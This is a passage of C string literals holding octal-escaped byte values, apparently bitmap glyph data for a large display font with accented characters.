\"\\17\\17\\0\\0\\0\\7\\17\\77\\177\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\374x\"\n  \"\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\360\\340\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\360\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\337\\307\\303\\301\\301\\300\\300\\300\\300\\300\\300\\300\\301\\301\\303\\307\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\0\\0\\377\\377\\377\\377\\377\\377\\377\\217\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\0\\0\\0\\7\\17\\77\\177\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\374x\"\n  \"\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70\\374\\374\\376\\377\\376\\374\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\177\\177\\77>\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\377\\376\\374\\374x\\20\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\36\\77\\177\\177\\177\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\376\\376\\376\\376\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70~\\377\\377\\177\\37\\17\\7\\1\\3\\7\\37\\77\\377\\377\\377~\\70\\20\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\360\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\30\\30<<||\\374\\374\\374\\370\\360\\340\\340\\300\\300\\340\\340\\340\\340\\360\\360\"\n  \"\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14~~>\\77\\77\\77\\37\\37\\37\\17\\37\\77\\377\\377\\377\\377\\377\\363\\343\\203\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376~~\\177~~~~\\376\\375\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\370\\340\\0\\340\\374\\377\\377\\377\\377\\377\\77\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\77\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\77\\377\\377\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\"\n  \"\\377\\377\\377\\37\\0\\1\\7\\17\\37\\77\\177\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\370\\370\\374\\376\\377\\377\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\340\\300\\300\\300\\340\\360\\370\\360\\360\"\n  \"`\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\3\\1\\1\\0\\0\\0\\1\\3\\7\\7\\17\\17\\17\\17\\17\\17\\7\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\300\\340\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\370\\360\\360\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\17\\7\\3\\1\\1\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60x\\374\\374\\376\\377\\374\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\177\\177\\77\\34\\20\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\177\\37\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\"\n  \"\\377\\376\\370\\300\\177\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\3\\17\\37\\77\\177\\377\\377\\377\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\377\\376\\374\\374x\\60\\20\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\34>\\177\\177\\177\\77\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\177\\37\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\"\n  \"\\377\\376\\370\\300\\177\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\3\\17\\37\\77\\177\\377\\377\\377\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\376\\376\\374\\360\\340\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70|\\377\\377\\177\\77\\17\\7\\3\\3\\7\\37\\77\\177\\377\\377~<\\60\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\375\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\177\\37\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\"\n  \"\\377\\376\\370\\300\\177\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\3\\17\\37\\77\\177\\377\\377\\377\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\340\\300\\300\\300\\340\\340\\360\\370\\360\"\n  \"\\340@\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\3\\1\\1\\0\\0\\0\\1\\3\\7\\7\\17\\17\\17\\17\\17\\17\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\177\\37\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\"\n  \"\\377\\376\\370\\300\\177\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\3\\17\\37\\77\\177\\377\\377\\377\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\360\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\177\\37\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\"\n  \"\\377\\376\\370\\300\\177\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\3\\17\\37\\77\\177\\377\\377\\377\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\77\\77\\77\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n  \"~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\376\\377\\377\\377\\377\\317\"\n  \"\\207\\1\\0\\0\\300\\370\\376\\377\\377\\377\\377\\377\\37\\7\\3\\1\\1\\0\\200\\340\\360\\374\\377\\377\\177\\37\\17\\7\\177\\377\\377\\377\"\n  \"\\377\\376\\370\\300\\177\\377\\377\\377\\377\\377\\377\\300\\0\\0\\300\\340\\370\\376\\377\\377\\77\\37\\7\\1\\0\\0\\0\\0\\340\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\3\\17\\37\\177\\377\\377\\377\\374\\377\\377\\377\\377\\357\\343\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\0\\30<\\77\\177\\177\\177\\37\\7\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70x\\374\\376\\376\\377\\374\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\37\\77\\177\\177\\77\\77\\34\\20\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\"\n  \"\\374\\374\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\360\\370\\370\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\376\\377\\376\\376\\374x\\70\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34\\77\\77\\177\\177\\77\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\"\n  \"\\374\\374\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\360\\370\\370\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\376\\376\\376\\376\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20<~\\377\\377\\77\\37\\17\\7\\1\\3\\7\\37\\77\\177\\377\\177~<\\20\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\"\n  \"\\374\\374\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\360\\370\\370\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\360\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\"\n  \"\\374\\374\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\360\\370\\370\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  